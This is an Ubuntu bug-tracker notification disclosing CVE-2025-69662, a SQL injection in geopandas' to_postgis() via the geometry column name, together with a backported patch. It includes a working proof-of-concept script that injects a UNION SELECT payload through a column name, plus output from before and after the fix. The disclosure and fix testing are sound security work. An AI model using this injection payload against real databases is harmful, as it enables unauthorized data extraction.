*** This bug is a security vulnerability ***

Public security bug reported:

CVE: https://ubuntu.com/security/CVE-2025-69662
Upstream fix: https://github.com/geopandas/geopandas/pull/3681

The original upstream fix modified 3 files:
- the actual py file, the fix was applied on a version `geopandas/io/sql.py` 
that had f-string.
- the test, `geopandas/io/tests/test_sql.py` that does not currently exist for 
`python3-geopandas` version `0.14.3-2`.
- the changelog md file.
- Only `geopandas/io/sql.py` was touched.

Tested with multipass on aarch64 mac

```
multipass launch 24.04 --name test2 --disk 25G
multipass shell test2

sudo apt-get update && sudo apt-get upgrade -y && \
    sudo apt-get install python3-geopandas python3-sqlalchemy postgresql 
postgresql-client python3-geoalchemy2 postgresql-postgis -y && \
    sudo reboot

multipass shell test2

sudo -u postgres psql -c "CREATE USER ubuntu WITH PASSWORD 'insecure'
SUPERUSER;"

sudo -u postgres psql -c "DROP DATABASE IF EXISTS db1;" && \
    sudo -u postgres psql -c "CREATE DATABASE db1 OWNER ubuntu;" && \
    sudo -u postgres psql -d db1 -c "CREATE EXTENSION postgis;"

cat << 'EOF' > ~/script1.py
import geopandas as gpd
from shapely.geometry import Point
from sqlalchemy import create_engine
import re

engine =
create_engine("postgresql://ubuntu:insecure@localhost:5432/db1")

# Step 1: Create table with geometry column named 'geom'
gdf_normal = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs='EPSG:4326')
gdf_normal = gdf_normal.rename_geometry('geom')
gdf_normal.to_postgis(name="test_table", con=engine, if_exists="replace")
print("✅ Table created with 'geom' column")

# Step 2: Exploit - Find_SRID('public','test_table','geom') now succeeds, then 
UNION runs
gdf_exploit = gpd.GeoDataFrame(geometry=[Point(1, 1)], crs='EPSG:4326')
gdf_exploit = gdf_exploit.rename_geometry("geom') UNION SELECT CAST(version() 
AS int); --")

try:
    gdf_exploit.to_postgis(name="test_table", con=engine, if_exists="append")
except Exception as e:
    match = re.search(r'invalid input syntax for (?:type )?integer: "([^"]+)"', 
str(e))
    if match:
        print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}")
    else:
        print(f"Raw error: {e}")
EOF
```

Before patched
```
ubuntu@test2:~$ python3 script1.py
✅ Table created with 'geom' column
✅ EXTRACTED PostgreSQL version: PostgreSQL 16.11 (Ubuntu 
16.11-0ubuntu0.24.04.1) on aarch64-unknown-linux-gnu, compiled by gcc (Ubuntu 
13.3.0-6ubuntu2~24.04) 13.3.0, 64-bit
ubuntu@test2:~$
```

After patched:
```
ubuntu@cve:~$ python3 script1.py
✅ Table created with 'geom' column
Raw error: (psycopg2.errors.RaiseException) find_srid() - could not find the 
corresponding SRID - is the geometry registered in the GEOMETRY_COLUMNS table?  
Is there an uppercase/lowercase mismatch?
CONTEXT:  PL/pgSQL function find_srid(character varying,character 
varying,character varying) line 17 at RAISE

[SQL: SELECT Find_SRID(%(schema_name)s, %(name)s, %(geom_name)s);]
[parameters: {'schema_name': 'public', 'name': 'test_table', 'geom_name': 
"geom') UNION SELECT CAST(version() AS int); --"}]
(Background on this error at: https://sqlalche.me/e/14/2j85)
ubuntu@cve:~$

```

** Affects: python-geopandas (Ubuntu)
     Importance: Undecided
         Status: New

** Patch added: "CVE-2025-69662.debdiff"
   
https://bugs.launchpad.net/bugs/2141884/+attachment/5946246/+files/CVE-2025-69662.debdiff

** CVE added: https://cve.org/CVERecord?id=CVE-2025-69662

** Information type changed from Private Security to Public Security

** Description changed:

  CVE: https://ubuntu.com/security/CVE-2025-69662
  Upstream fix: https://github.com/geopandas/geopandas/pull/3681
  
  The original upstream fix modified 3 files:
  - the actual py file, the fix was applied on a version `geopandas/io/sql.py` 
that had f-string.
  - the test, `geopandas/io/tests/test_sql.py` that does not currently exist 
for `python3-geopandas` version `0.14.3-2`.
  - the changelog md file.
  - Only `geopandas/io/sql.py` was touched.
  
  Tested with multipass on aarch64 mac
  
  ```
  multipass launch 24.04 --name test2 --disk 25G
- multipass shell test2 
+ multipass shell test2
  
  sudo apt-get update && sudo apt-get upgrade -y && \
-     sudo apt-get install python3-geopandas python3-sqlalchemy postgresql 
postgresql-client python3-geoalchemy2 postgresql-postgis -y && \
-     sudo reboot
+     sudo apt-get install python3-geopandas python3-sqlalchemy postgresql 
postgresql-client python3-geoalchemy2 postgresql-postgis -y && \
+     sudo reboot
  
  multipass shell test2
  
  sudo -u postgres psql -c "CREATE USER ubuntu WITH PASSWORD 'insecure'
  SUPERUSER;"
  
  sudo -u postgres psql -c "DROP DATABASE IF EXISTS db1;" && \
-     sudo -u postgres psql -c "CREATE DATABASE db1 OWNER ubuntu;" && \
-     sudo -u postgres psql -d db1 -c "CREATE EXTENSION postgis;"
+     sudo -u postgres psql -c "CREATE DATABASE db1 OWNER ubuntu;" && \
+     sudo -u postgres psql -d db1 -c "CREATE EXTENSION postgis;"
  
  cat << 'EOF' > ~/script1.py
  import geopandas as gpd
  from shapely.geometry import Point
  from sqlalchemy import create_engine
  import re
  
  engine =
  create_engine("postgresql://ubuntu:insecure@localhost:5432/db1")
  
  # Step 1: Create table with geometry column named 'geom'
  gdf_normal = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs='EPSG:4326')
  gdf_normal = gdf_normal.rename_geometry('geom')
  gdf_normal.to_postgis(name="test_table", con=engine, if_exists="replace")
  print("✅ Table created with 'geom' column")
  
  # Step 2: Exploit - Find_SRID('public','test_table','geom') now succeeds, 
then UNION runs
  gdf_exploit = gpd.GeoDataFrame(geometry=[Point(1, 1)], crs='EPSG:4326')
  gdf_exploit = gdf_exploit.rename_geometry("geom') UNION SELECT CAST(version() 
AS int); --")
  
  try:
-     gdf_exploit.to_postgis(name="test_table", con=engine, if_exists="append")
+     gdf_exploit.to_postgis(name="test_table", con=engine, if_exists="append")
  except Exception as e:
-     match = re.search(r'invalid input syntax for (?:type )?integer: 
"([^"]+)"', str(e))
-     if match:
-         print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}")
-     else:
-         print(f"Raw error: {e}")
+     match = re.search(r'invalid input syntax for (?:type )?integer: 
"([^"]+)"', str(e))
+     if match:
+         print(f"✅ EXTRACTED PostgreSQL version: {match.group(1)}")
+     else:
+         print(f"Raw error: {e}")
  EOF
  ```
  
  Before patched
  ```
- ubuntu@test2:~$ python3 script1.py 
+ ubuntu@test2:~$ python3 script1.py
  ✅ Table created with 'geom' column
  ✅ EXTRACTED PostgreSQL version: PostgreSQL 16.11 (Ubuntu 
16.11-0ubuntu0.24.04.1) on aarch64-unknown-linux-gnu, compiled by gcc (Ubuntu 
13.3.0-6ubuntu2~24.04) 13.3.0, 64-bit
- ubuntu@test2:~$ 
+ ubuntu@test2:~$
  ```
  
  After patched:
  ```
- did i fix it? 
- 
- ```
- ubuntu@cve:~$ python3 script1.py 
+ ubuntu@cve:~$ python3 script1.py
  ✅ Table created with 'geom' column
  Raw error: (psycopg2.errors.RaiseException) find_srid() - could not find the 
corresponding SRID - is the geometry registered in the GEOMETRY_COLUMNS table?  
Is there an uppercase/lowercase mismatch?
  CONTEXT:  PL/pgSQL function find_srid(character varying,character 
varying,character varying) line 17 at RAISE
  
  [SQL: SELECT Find_SRID(%(schema_name)s, %(name)s, %(geom_name)s);]
  [parameters: {'schema_name': 'public', 'name': 'test_table', 'geom_name': 
"geom') UNION SELECT CAST(version() AS int); --"}]
  (Background on this error at: https://sqlalche.me/e/14/2j85)
- ubuntu@cve:~$ 
+ ubuntu@cve:~$
  
  ```

-- 
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2141884

Title:
  CVE-2025-69662: SQL injection in geopandas to_postgis() via geometry
  column name

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python-geopandas/+bug/2141884/+subscriptions


-- 
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs

Reply via email to